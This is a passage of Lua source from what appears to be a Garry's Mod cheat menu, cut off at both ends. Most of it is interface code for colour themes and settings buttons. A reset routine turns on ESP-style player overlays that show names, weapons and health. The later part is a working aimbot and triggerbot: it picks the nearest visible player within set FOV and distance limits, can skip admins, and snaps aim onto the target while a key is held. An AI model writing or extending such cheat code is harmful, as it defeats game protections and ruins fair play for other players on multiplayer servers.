3253function ColorMenu:Paint( w, h )
3254draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3255draw.SimpleText( "Цвет меню", "pity_home5", 79, 8, color_white, 0, 1 )
3256end
3257local OptionsColorRedMENU = vgui.Create( "DButton", ColorMenu )
3258OptionsColorRedMENU:SetPos( 4,20 )
3259OptionsColorRedMENU:SetSize( 20, 20 )
3260OptionsColorRedMENU:SetText( " " )
3261OptionsColorRedMENU.Paint = function( self, w, h )
3262if self:IsHovered() then
3263draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
3264surface.SetDrawColor(255, 255, 255 ,100)
3265surface.DrawOutlinedRect(0, 0, w, h)
3266else
3267draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
3268surface.SetDrawColor(255, 255, 255 ,100)
3269surface.DrawOutlinedRect(0, 0, w, h)
3270end
3271OptionsColorRedMENU.DoClick = function()
3272LocalPlayer():ConCommand("fiji_menu_princ_color 238")
3273LocalPlayer():ConCommand("fiji_menu_sec_color 61")
3274LocalPlayer():ConCommand("fiji_menu_th_color 61")
3275LocalPlayer():ConCommand("fiji_style_menu 0")
3276surface.PlaySound( fiji_pityhover )
3277
3278end
3279end
3280local OptionsColorOrangeMENU = vgui.Create( "DButton", ColorMenu )
3281OptionsColorOrangeMENU:SetPos( 26,20 )
3282OptionsColorOrangeMENU:SetSize( 20, 20 )
3283OptionsColorOrangeMENU:SetText( " " )
3284OptionsColorOrangeMENU.Paint = function( self, w, h )
3285if self:IsHovered() then
3286draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
3287surface.SetDrawColor(255, 255, 255 ,100)
3288surface.DrawOutlinedRect(0, 0, w, h)
3289else
3290draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
3291surface.SetDrawColor(255, 255, 255 ,100)
3292surface.DrawOutlinedRect(0, 0, w, h)
3293end
3294OptionsColorOrangeMENU.DoClick = function()
3295LocalPlayer():ConCommand("fiji_menu_princ_color 255")
3296LocalPlayer():ConCommand("fiji_menu_sec_color 162")
3297LocalPlayer():ConCommand("fiji_menu_th_color 91")
3298LocalPlayer():ConCommand("fiji_style_menu 0")
3299surface.PlaySound( fiji_pityhover )
3300
3301end
3302end
3303local OptionsColorYellowMENU = vgui.Create( "DButton", ColorMenu )
3304OptionsColorYellowMENU:SetPos( 48,20 )
3305OptionsColorYellowMENU:SetSize( 20, 20 )
3306OptionsColorYellowMENU:SetText( " " )
3307OptionsColorYellowMENU.Paint = function( self, w, h )
3308if self:IsHovered() then
3309draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
3310surface.SetDrawColor(255, 255, 255 ,100)
3311surface.DrawOutlinedRect(0, 0, w, h)
3312else
3313draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
3314surface.SetDrawColor(255, 255, 255 ,100)
3315surface.DrawOutlinedRect(0, 0, w, h)
3316end
3317OptionsColorYellowMENU.DoClick = function()
3318LocalPlayer():ConCommand("fiji_menu_princ_color 246")
3319LocalPlayer():ConCommand("fiji_menu_sec_color 255")
3320LocalPlayer():ConCommand("fiji_menu_th_color 91")
3321LocalPlayer():ConCommand("fiji_style_menu 0")
3322surface.PlaySound( fiji_pityhover )
3323
3324end
3325end
3326local OptionsColorGreenMENU = vgui.Create( "DButton", ColorMenu )
3327OptionsColorGreenMENU:SetPos( 70,20 )
3328OptionsColorGreenMENU:SetSize( 20, 20 )
3329OptionsColorGreenMENU:SetText( " " )
3330OptionsColorGreenMENU.Paint = function( self, w, h )
3331if self:IsHovered() then
3332draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
3333surface.SetDrawColor(255, 255, 255 ,100)
3334surface.DrawOutlinedRect(0, 0, w, h)
3335else
3336draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
3337surface.SetDrawColor(255, 255, 255 ,100)
3338surface.DrawOutlinedRect(0, 0, w, h)
3339end
3340OptionsColorGreenMENU.DoClick = function()
3341LocalPlayer():ConCommand("fiji_menu_princ_color 130")
3342LocalPlayer():ConCommand("fiji_menu_sec_color 255")
3343LocalPlayer():ConCommand("fiji_menu_th_color 132")
3344LocalPlayer():ConCommand("fiji_style_menu 0")
3345surface.PlaySound( fiji_pityhover )
3346
3347end
3348end
3349local OptionsColorBlueMENU = vgui.Create( "DButton", ColorMenu )
3350OptionsColorBlueMENU:SetPos( 92,20 )
3351OptionsColorBlueMENU:SetSize( 20, 20 )
3352OptionsColorBlueMENU:SetText( " " )
3353OptionsColorBlueMENU.Paint = function( self, w, h )
3354if self:IsHovered() then
3355draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
3356surface.SetDrawColor(255, 255, 255 ,100)
3357surface.DrawOutlinedRect(0, 0, w, h)
3358else
3359draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
3360surface.SetDrawColor(255, 255, 255 ,100)
3361surface.DrawOutlinedRect(0, 0, w, h)
3362end
3363OptionsColorBlueMENU.DoClick = function()
3364LocalPlayer():ConCommand("fiji_menu_princ_color 104")
3365LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3366LocalPlayer():ConCommand("fiji_menu_th_color 255")
3367LocalPlayer():ConCommand("fiji_style_menu 0")
3368surface.PlaySound( fiji_pityhover )
3369
3370end
3371end
3372local OptionsColorPurpleMENU = vgui.Create( "DButton", ColorMenu )
3373OptionsColorPurpleMENU:SetPos( 114,20 )
3374OptionsColorPurpleMENU:SetSize( 20, 20 )
3375OptionsColorPurpleMENU:SetText( " " )
3376OptionsColorPurpleMENU.Paint = function( self, w, h )
3377if self:IsHovered() then
3378draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
3379surface.SetDrawColor(255, 255, 255 ,100)
3380surface.DrawOutlinedRect(0, 0, w, h)
3381else
3382draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
3383surface.SetDrawColor(255, 255, 255 ,100)
3384surface.DrawOutlinedRect(0, 0, w, h)
3385end
3386OptionsColorPurpleMENU.DoClick = function()
3387LocalPlayer():ConCommand("fiji_menu_princ_color 168")
3388LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3389LocalPlayer():ConCommand("fiji_menu_th_color 255")
3390LocalPlayer():ConCommand("fiji_style_menu 0")
3391surface.PlaySound( fiji_pityhover )
3392
3393end
3394end
3395local OptionsColorPinkMENU = vgui.Create( "DButton", ColorMenu )
3396OptionsColorPinkMENU:SetPos( 136,20 )
3397OptionsColorPinkMENU:SetSize( 20, 20 )
3398OptionsColorPinkMENU:SetText( " " )
3399OptionsColorPinkMENU.Paint = function( self, w, h )
3400if self:IsHovered() then
3401draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
3402surface.SetDrawColor(255, 255, 255 ,100)
3403surface.DrawOutlinedRect(0, 0, w, h)
3404else
3405draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
3406surface.SetDrawColor(255, 255, 255 ,100)
3407surface.DrawOutlinedRect(0, 0, w, h)
3408end
3409OptionsColorPinkMENU.DoClick = function()
3410LocalPlayer():ConCommand("fiji_menu_princ_color 255")
3411LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3412LocalPlayer():ConCommand("fiji_menu_th_color 235")
3413LocalPlayer():ConCommand("fiji_style_menu 0")
3414surface.PlaySound( fiji_pityhover )
3415
3416end
3417end
3418local OptionsColorBlackMENU = vgui.Create( "DButton", ColorMenu )
3419OptionsColorBlackMENU:SetPos( 158,20 )
3420OptionsColorBlackMENU:SetSize( 20, 20 )
3421OptionsColorBlackMENU:SetText( " " )
3422OptionsColorBlackMENU.Paint = function( self, w, h )
3423if self:IsHovered() then
3424draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
3425surface.SetDrawColor(255, 255, 255 ,100)
3426surface.DrawOutlinedRect(0, 0, w, h)
3427else
3428draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
3429surface.SetDrawColor(255, 255, 255 ,100)
3430surface.DrawOutlinedRect(0, 0, w, h)
3431end
3432OptionsColorBlackMENU.DoClick = function()
3433LocalPlayer():ConCommand("fiji_menu_princ_color 60")
3434LocalPlayer():ConCommand("fiji_menu_sec_color 60")
3435LocalPlayer():ConCommand("fiji_menu_th_color 60")
3436LocalPlayer():ConCommand("fiji_style_menu 0")
3437surface.PlaySound( fiji_pityhover )
3438
3439end
3440end
3441local OptionsColormultiMENU = vgui.Create( "DButton", ColorMenu )
3442OptionsColormultiMENU:SetPos( 180,20 )
3443OptionsColormultiMENU:SetSize( 20, 20 )
3444OptionsColormultiMENU:SetText( " " )
3445OptionsColormultiMENU.Paint = function( self, w, h )
3446if self:IsHovered() then
3447draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3448surface.SetDrawColor(255, 255, 255 ,100)
3449surface.DrawOutlinedRect(0, 0, w, h)
3450else
3451draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3452surface.SetDrawColor(255, 255, 255 ,100)
3453surface.DrawOutlinedRect(0, 0, w, h)
3454end
3455OptionsColormultiMENU.DoClick = function()
3456LocalPlayer():ConCommand("fiji_style_menu 1")
3457surface.PlaySound( fiji_pityhover )
3458
3459end
3460end
3461local OptionsColorhackMENU = vgui.Create( "DButton", ColorMenu )
3462OptionsColorhackMENU:SetPos( 202,20 )
3463OptionsColorhackMENU:SetSize( 20, 20 )
3464OptionsColorhackMENU:SetText( " " )
3465OptionsColorhackMENU.Paint = function( self, w, h )
3466if self:IsHovered() then
3467draw.RoundedBox(0,0,0,w,h,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
3468surface.SetDrawColor(255, 255, 255 ,100)
3469surface.DrawOutlinedRect(0, 0, w, h)
3470else
3471draw.RoundedBox( 0, 0, 0, w, h, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
3472surface.SetDrawColor(255, 255, 255 ,100)
3473surface.DrawOutlinedRect(0, 0, w, h)
3474end
3475OptionsColorhackMENU.DoClick = function()
3476LocalPlayer():ConCommand("fiji_style_menu 2")
3477surface.PlaySound( fiji_pityhover )
3478
3479end
3480end
3481
3482local Optionsphysicspeed = vgui.Create( "DButton", pContent)
3483Optionsphysicspeed:SetPos( 303, 348)
3484Optionsphysicspeed:SetSize( 50, 20 )
3485Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 255 ) )
3486Optionsphysicspeed:SetText( "Rapide" )
3487Optionsphysicspeed.Paint = function( self, w, h )
3488draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3489if self:IsHovered() then
3490Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 255 ) )
3491draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3492else
3493Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 100 ) )
3494draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3495end
3496Optionsphysicspeed.OnCursorEntered = function(self)
3497surface.PlaySound( fiji_pityhover )
3498end
3499Optionsphysicspeed.DoClick = function()
3500LocalPlayer():ConCommand("physgun_wheelspeed 1500")
3501surface.PlaySound( fiji_pityclick )
3502end
3503end
3504
3505local Optionsphysicmedium = vgui.Create( "DButton", pContent)
3506Optionsphysicmedium:SetPos( 243, 348)
3507Optionsphysicmedium:SetSize( 50, 20 )
3508Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 255 ) )
3509Optionsphysicmedium:SetText( "Moyen" )
3510Optionsphysicmedium.Paint = function( self, w, h )
3511draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3512if self:IsHovered() then
3513Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 255 ) )
3514draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3515else
3516Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 100 ) )
3517draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3518end
3519Optionsphysicmedium.OnCursorEntered = function(self)
3520surface.PlaySound( fiji_pityhover )
3521end
3522Optionsphysicmedium.DoClick = function()
3523LocalPlayer():ConCommand("physgun_wheelspeed 600")
3524surface.PlaySound( fiji_pityclick )
3525end
3526end
3527
3528local Optionsphysiclow = vgui.Create( "DButton", pContent)
3529Optionsphysiclow:SetPos( 180, 348)
3530Optionsphysiclow:SetSize( 50, 20 )
3531Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 255 ) )
3532Optionsphysiclow:SetText( "Lent" )
3533Optionsphysiclow.Paint = function( self, w, h )
3534draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3535if self:IsHovered() then
3536Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 255 ) )
3537draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3538else
3539Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 100 ) )
3540draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3541end
3542Optionsphysiclow.OnCursorEntered = function(self)
3543surface.PlaySound( fiji_pityhover )
3544end
3545Optionsphysiclow.DoClick = function()
3546LocalPlayer():ConCommand("physgun_wheelspeed 20")
3547surface.PlaySound( fiji_pityclick )
3548end
3549end
3550
3551local OptionsColorDEFAULT = vgui.Create( "DButton", pContent)
3552OptionsColorDEFAULT:SetPos( 243, 83)
3553OptionsColorDEFAULT:SetSize( 50, 20 )
3554OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 255 ) )
3555OptionsColorDEFAULT:SetText( "Default" )
3556OptionsColorDEFAULT.Paint = function( self, w, h )
3557draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3558if self:IsHovered() then
3559OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 255 ) )
3560draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3561else
3562OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 100 ) )
3563draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3564end
3565OptionsColorDEFAULT.OnCursorEntered = function(self)
3566surface.PlaySound( fiji_pityhover )
3567end
3568OptionsColorDEFAULT.DoClick = function()
3569LocalPlayer():ConCommand("fiji_menu_princ_color 60")
3570LocalPlayer():ConCommand("fiji_menu_sec_color 60")
3571LocalPlayer():ConCommand("fiji_menu_th_color 60")
3572LocalPlayer():ConCommand("fiji_style_menu 3")
3573surface.PlaySound( fiji_pityclick )
3574end
3575end
3576
3577local Resetb = vgui.Create( "DButton", pContent)
3578Resetb:SetPos( 207, 123)
3579Resetb:SetSize( 120, 35 )
3580Resetb:SetTextColor( Color( 255, 255, 255, 255 ) )
3581Resetb:SetText( "СброÑить вÑе наÑтройки" )
3582Resetb.Paint = function( self, w, h )
3583draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3584if self:IsHovered() then
3585Resetb:SetTextColor( Color( 255, 255, 255, 255 ) )
3586draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
3587aBorder = Color( 110,110,110, 80 )
3588else
3589Resetb:SetTextColor( Color( 255, 255, 255, 80 ) )
3590draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3591aBorder = Color( 110,110,110, 0 )
3592end
3593surface.SetDrawColor( aBorder )
3594surface.DrawOutlinedRect( 0, 0, w, h )
3595Resetb.OnCursorEntered = function(self)
3596surface.PlaySound( "mat/pityhover.wav" )
3597end
3598Resetb.DoClick = function()
3599NOTIFICATION("Menu réinitialiser avec sucès")
3600surface.PlaySound( fiji_pityclick )
3601LocalPlayer():ConCommand("fiji_menu_princ_color 50")
3602LocalPlayer():ConCommand("fiji_menu_sec_color 50")
3603LocalPlayer():ConCommand("fiji_menu_th_color 50")
3604LocalPlayer():ConCommand("fiji_style_menu 3")
3605LocalPlayer():ConCommand("fiji_principal_color 255")
3606LocalPlayer():ConCommand("fiji_secondary_color 0")
3607LocalPlayer():ConCommand("fiji_third_color 0")
3608LocalPlayer():ConCommand("fiji_principal_color_infos 255")
3609LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
3610LocalPlayer():ConCommand("fiji_third_color_infos 255")
3611LocalPlayer():ConCommand("fiji_principal_color_ent 255")
3612LocalPlayer():ConCommand("fiji_secondary_color_ent 0")
3613LocalPlayer():ConCommand("fiji_third_color_ent 0")
3614LocalPlayer():ConCommand("fiji_principal_color_props 255")
3615LocalPlayer():ConCommand("fiji_secondary_color_props 0")
3616LocalPlayer():ConCommand("fiji_third_color_props 0")
3617LocalPlayer():ConCommand("BD_hitman_enable 1")
3618LocalPlayer():ConCommand("BD_hitman_enable_ent 0")
3619LocalPlayer():ConCommand("BD_hitman_enable_props 0")
3620LocalPlayer():ConCommand("BD_hitman_type 1")
3621LocalPlayer():ConCommand("BD_hitman_infos_name 1")
3622LocalPlayer():ConCommand("BD_hitman_infos_weapons 1")
3623LocalPlayer():ConCommand("BD_hitman_infos_health 1")
3624LocalPlayer():ConCommand("BD_hitman_distance 7000")
3625LocalPlayer():ConCommand("BD_hitman_distance_infos 800")
3626LocalPlayer():ConCommand("BD_hitman_distance_ent 800")
3627LocalPlayer():ConCommand("fiji_aimbot_active 0")
3628LocalPlayer():ConCommand("fiji_aimbot_friends 0")
3629LocalPlayer():ConCommand("fiji_aimbot_team 0")
3630LocalPlayer():ConCommand("fiji_aimbot_admin 0")
3631LocalPlayer():ConCommand("fiji_aimbot_propa 0")
3632LocalPlayer():ConCommand("fiji_aimbot_wall 0")
3633LocalPlayer():ConCommand("fiji_aimbot_fov 180")
3634LocalPlayer():ConCommand("fiji_aimbot_dist 1500")
3635LocalPlayer():ConCommand("fiji_triggerbot_active 0")
3636LocalPlayer():ConCommand("fiji_triggerbot_opti 0")
3637LocalPlayer():ConCommand("fiji_triggerbot_real 0")
3638LocalPlayer():ConCommand("fiji_triggerbot_team 0")
3639LocalPlayer():ConCommand("fiji_triggerbot_wall 0")
3640LocalPlayer():ConCommand("fiji_triggerbot_friends 0")
3641LocalPlayer():ConCommand("fiji_exist_contentpity 1")
3642LocalPlayer():ConCommand("fiji_aimbot_key KEY_W")
3643LocalPlayer():ConCommand("fiji_aimbot_relock 0")
3644LocalPlayer():ConCommand("fiji_aimbot_attack chest")
3645LocalPlayer():ConCommand("fiji_exist_contentpity 1")
3646end
3647
3648
3649
3650end -- enf function options
3651
3652end
3653function BD:Aimbot( pContent )
3654
3655local BDMenuAim = vgui.Create("DPanel", pContent)
3656BDMenuAim:SetSize( 539, 388 )
3657BDMenuAim:SetPos( 0, 0 )
3658BDMenuAim.Paint = function( self, w, h)
3659if fiji_style_menu:GetInt() == 2 then
3660draw.RoundedBox( 0, 0, 0, 2, h - 238, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
3661draw.RoundedBox( 0, 0, 194, 2, h - 190, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
3662
3663elseif fiji_style_menu:GetInt() == 1 then
3664draw.RoundedBox( 0, 0, 0, 2, h - 238, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
3665draw.RoundedBox( 0, 0, 194, 2, h - 190, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
3666
3667
3668else
3669draw.RoundedBox( 0, 0, 0, 2, h - 238, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
3670draw.RoundedBox( 0, 0, 194, 2, h - 190, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
3671end
3672
3673
3674draw.RoundedBox( 200, 382, 10, 2, h - 216, Color( 50,50,50, 255 ) )
3675draw.RoundedBox( 200, 149, 10, 2, h - 216, Color( 50,50,50, 255 ) )
3676draw.RoundedBox( 0, 151, 180, w - 307, 2, Color( 50,50,50, 255 ) )
3677draw.RoundedBox( 0, 151, 10, w - 448, 2, Color( 50,50,50, 255 ) )
3678draw.RoundedBox( 0, 294, 10, w - 451, 2, Color( 50,50,50, 255 ) )
3679draw.SimpleText("Aimbot", "pity_home3", 248, 10, Color(100, 100, 100,255), 0, 1)
3680draw.SimpleText("Целить в..", "pity_home3", 250, 80, Color(100, 100, 100,255), 0, 1)
3681--draw.SimpleText("Touche Aimbot : B", "pity_home3", 220, 150, Color(100, 100, 100,255), 0, 1)
3682
3683
3684
3685draw.RoundedBox( 200, 382, 205, 2, h - 251, Color( 50,50,50, 255 ) )
3686draw.RoundedBox( 200, 149, 205, 2, h - 251, Color( 50,50,50, 255 ) )
3687draw.RoundedBox( 0, 151, 340, w - 307, 2, Color( 50,50,50, 255 ) )
3688draw.RoundedBox( 0, 151, 205, w - 455, 2, Color( 50,50,50, 255 ) )
3689draw.RoundedBox( 0, 300, 205, w - 456, 2, Color( 50,50,50, 255 ) )
3690draw.SimpleText("Triggerbot", "pity_home3", 239, 205, Color(100, 100, 100,255), 0, 1)
3691draw.SimpleText("СтрелÑть в..", "pity_home3", 250, 285, Color(100, 100, 100,255), 0, 1)
3692draw.SimpleText("Кнопка Ðимбота", "pity_homemini", 234, 352, Color(100, 100, 100,255), 0, 1)
3693
3694
3695end
3696
3697local aimbinder = vgui.Create( "DBinder", pContent )
3698aimbinder:SetSize( 234, 25 )
3699aimbinder:SetPos( 150,360 )
3700aimbinder:SetConVar( "fiji_aimbot_key" )
3701function aimbinder:Paint( w, h )
3702if self:IsHovered() then
3703draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
3704aBorder = Color( 255,110,110, 150 )
3705else
3706draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3707aBorder = Color( 250,110,110, 50 )
3708end
3709aimbinder.OnCursorEntered = function(self)
3710surface.PlaySound( fiji_pityhover )
3711
3712end
3713surface.SetDrawColor( aBorder )
3714surface.DrawOutlinedRect( 0, 0, w, h )
3715
3716
3717end
3718
3719
3720local pPAim = vgui.Create( "DPanel", pContent )
3721pPAim:SetSize( 110, 35 )
3722pPAim:SetPos( 154, 135 )
3723function pPAim:Paint( w, h )
3724draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3725draw.SimpleText( "♦", "pity_home5", 14, h / 2 + 7, color_white, 0, 1 )
3726draw.SimpleText( "ДиÑтанциÑ", "pity_home5", 10, 8, color_white, 0, 1 )
3727
3728end
3729local pDistanceAIM = vgui.Create( "DNumSlider", pContent )
3730pDistanceAIM:SetPos( 107, 135 )
3731pDistanceAIM:SetSize( 180, 50 )
3732pDistanceAIM:SetText( "" )
3733pDistanceAIM:SetMin( 100 )
3734pDistanceAIM:SetMax( 3000 )
3735pDistanceAIM:SetDecimals( 0 )
3736pDistanceAIM:SetValue( fiji_aimbot_dist:GetInt() or 200 )
3737pDistanceAIM.Scratch:SetVisible( false )
3738pDistanceAIM.TextArea:SetTextColor( color_white )
3739function pDistanceAIM:OnValueChanged( val )
3740RunConsoleCommand( 'fiji_aimbot_dist', tonumber( self:GetValue() ) )
3741end
3742function pDistanceAIM.Slider:Paint(w, h)
3743surface.SetDrawColor(0, 0, 0, 255)
3744surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
3745if fiji_style_menu:GetInt() == 2 then
3746surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
3747surface.DrawRect(0, 21, barw, h / 5)
3748
3749elseif fiji_style_menu:GetInt() == 1 then
3750surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3751surface.DrawRect(0, 21, barw, h / 5)
3752
3753else
3754surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
3755surface.DrawRect(0, 21, barw, h / 5)
3756end
3757end
3758function pDistanceAIM:SetHeight(tall)
3759self.Slider.Knob:SetHeight(tall / 2 + 4)
3760DSlider.SetHeight(self, tall)
3761pDistanceAIM.SetTall = pDistanceAIM.SetHeight
3762pDistanceAIM.Slider.Knob:SetTall(5)
3763end
3764function pDistanceAIM.Slider.Knob:Paint(w, h)
3765derma.SkinHook( "Paint", "Button", self, 0, 0 )
3766end
3767
3768
3769local pPAim2 = vgui.Create( "DPanel", pContent )
3770pPAim2:SetSize( 110, 35 )
3771pPAim2:SetPos( 269, 135 )
3772function pPAim2:Paint( w, h )
3773draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3774draw.SimpleText( "♦", "pity_home5", 14, h / 2 + 7, color_white, 0, 1 )
3775draw.SimpleText( "FOV", "pity_home5", 10, 8, color_white, 0, 1 )
3776
3777end
3778local pDistanceAIMb = vgui.Create( "DNumSlider", pContent )
3779pDistanceAIMb:SetPos( 220, 135 )
3780pDistanceAIMb:SetSize( 180, 50 )
3781pDistanceAIMb:SetText( "" )
3782pDistanceAIMb:SetMin( 5 )
3783pDistanceAIMb:SetMax( 180 )
3784pDistanceAIMb:SetDecimals( 0 )
3785pDistanceAIMb:SetValue( fiji_aimbot_fov:GetInt() or 200 )
3786pDistanceAIMb.Scratch:SetVisible( false )
3787pDistanceAIMb.TextArea:SetTextColor( color_white )
3788function pDistanceAIMb:OnValueChanged( val )
3789RunConsoleCommand( 'fiji_aimbot_fov', tonumber( self:GetValue() ) )
3790end
3791function pDistanceAIMb.Slider:Paint(w, h)
3792surface.SetDrawColor(0, 0, 0, 255)
3793surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
3794if fiji_style_menu:GetInt() == 2 then
3795surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
3796surface.DrawRect(0, 21, barw, h / 5)
3797
3798elseif fiji_style_menu:GetInt() == 1 then
3799surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3800surface.DrawRect(0, 21, barw, h / 5)
3801
3802else
3803surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
3804surface.DrawRect(0, 21, barw, h / 5)
3805end
3806end
3807function pDistanceAIMb:SetHeight(tall)
3808self.Slider.Knob:SetHeight(tall / 2 + 4)
3809DSlider.SetHeight(self, tall)
3810pDistanceAIMb.SetTall = pDistanceAIMb.SetHeight
3811pDistanceAIMb.Slider.Knob:SetTall(5)
3812end
3813function pDistanceAIMb.Slider.Knob:Paint(w, h)
3814derma.SkinHook( "Paint", "Button", self, 0, 0 )
3815end
3816
3817local tblAdminGroups = {
3818["superadmin"] = true,
3819["admin"] = true,
3820["administrator"] = true,
3821["administrateur"] = true,
3822["moderateur"] = true,
3823["modérateur"] = true,
3824["moderateur test"] = true,
3825["moderateur-test"] = true,
3826["modérateur test"] = true,
3827["modérateur-test"] = true
3828}
3829
3830
3831local pTarget
3832
3833function findNearestPlayer()
3834local intDist = math.huge
3835pTarget = pTarget or nil
3836local angNew = LocalPlayer():GetAngles()
3837for k, v in pairs( player.GetAll() ) do
3838-- Cannot self-aim
3839if v == LocalPlayer() then continue end
3840-- Die
3841if not v:Alive() then continue end
3842-- God
3843if v:HasGodMode() then continue end
3844-- Same Team
3845if fiji_aimbot_team:GetInt() == 0 && v:Team() == LocalPlayer():Team() then continue end
3846-- Aim Admins
3847if fiji_aimbot_admin:GetInt() == 0 && tblAdminGroups[v:GetUserGroup()] then continue end
3848-- Max dist
3849if v:GetPos():DistToSqr( LocalPlayer():GetPos() ) > fiji_aimbot_dist:GetInt() ^ 2 then continue end
3850-- Steam Friend
3851if fiji_aimbot_friends:GetInt() == 0 && v:GetFriendStatus() == "friend" then continue end
3852
3853-- Check Nearest
3854local newdist = LocalPlayer():GetPos():DistToSqr( v:GetPos() )
3855if newdist < intDist then
3856
3857-- Aim World
3858if fiji_aimbot_wall:GetInt() == 0 then
3859local tr = util.TraceHull( {
3860start = LocalPlayer():EyePos(),
3861endpos = v:EyePos(),
3862maxs = math.huge,
3863mins = 10,
3864filter = v
3865} )
3866if tr.Hit then continue end
3867end
3868-- if fiji_aimbot_wall:GetInt() == 0 && tr.Hit then continue end
3869
3870local eyes = v:LookupAttachment( fiji_aimbot_attack:GetString() )
3871eyes = ( eyes && v:GetAttachment( eyes ).Pos || v:LocalToWorld( v:OBBCenter() ) )
3872
3873local intDiff = math.AngleDifference( ( eyes - LocalPlayer():EyePos() ):Angle().yaw, LocalPlayer():GetAngles().yaw )
3874intDiff = math.abs( intDiff )
3875
3876if intDiff > fiji_aimbot_fov:GetInt() then continue end
3877
3878
3879-- Define New
3880pTarget = v
3881intDist = newdist
3882end
3883end
3884
3885return pTarget or nil
3886end
3887
3888hook.Add( "PlayerButtonDown", "CPaCoolHack:PlayerButtonDown", function( pPlayer, button )
3889if gui.IsGameUIVisible() then return end
3890if fiji_aimbot_active:GetInt() != 1 then return end
3891if button != GetConVarNumber( "fiji_aimbot_key" ) then return end
3892
3893pTarget = findNearestPlayer()
3894end)
3895
3896hook.Add( "PlayerButtonUp", "CPaCoolHack:PlayerButtonUp", function( pPlayer, button )
3897if button != GetConVarNumber( "fiji_aimbot_key" ) then return end
3898
3899pTarget = nil
3900end)
3901
3902hook.Add( "Think", "dkzaodjzaodjza", function()
3903if gui.IsGameUIVisible() then return end
3904if fiji_aimbot_active:GetInt() != 1 then return end
3905if not input.IsKeyDown( GetConVarNumber( "fiji_aimbot_key" ) ) then return end
3906
3907-- Nobody Found
3908if not pTarget || pTarget == nil then return end
3909if not IsValid( pTarget ) || not pTarget:IsPlayer() || not pTarget:Alive() then
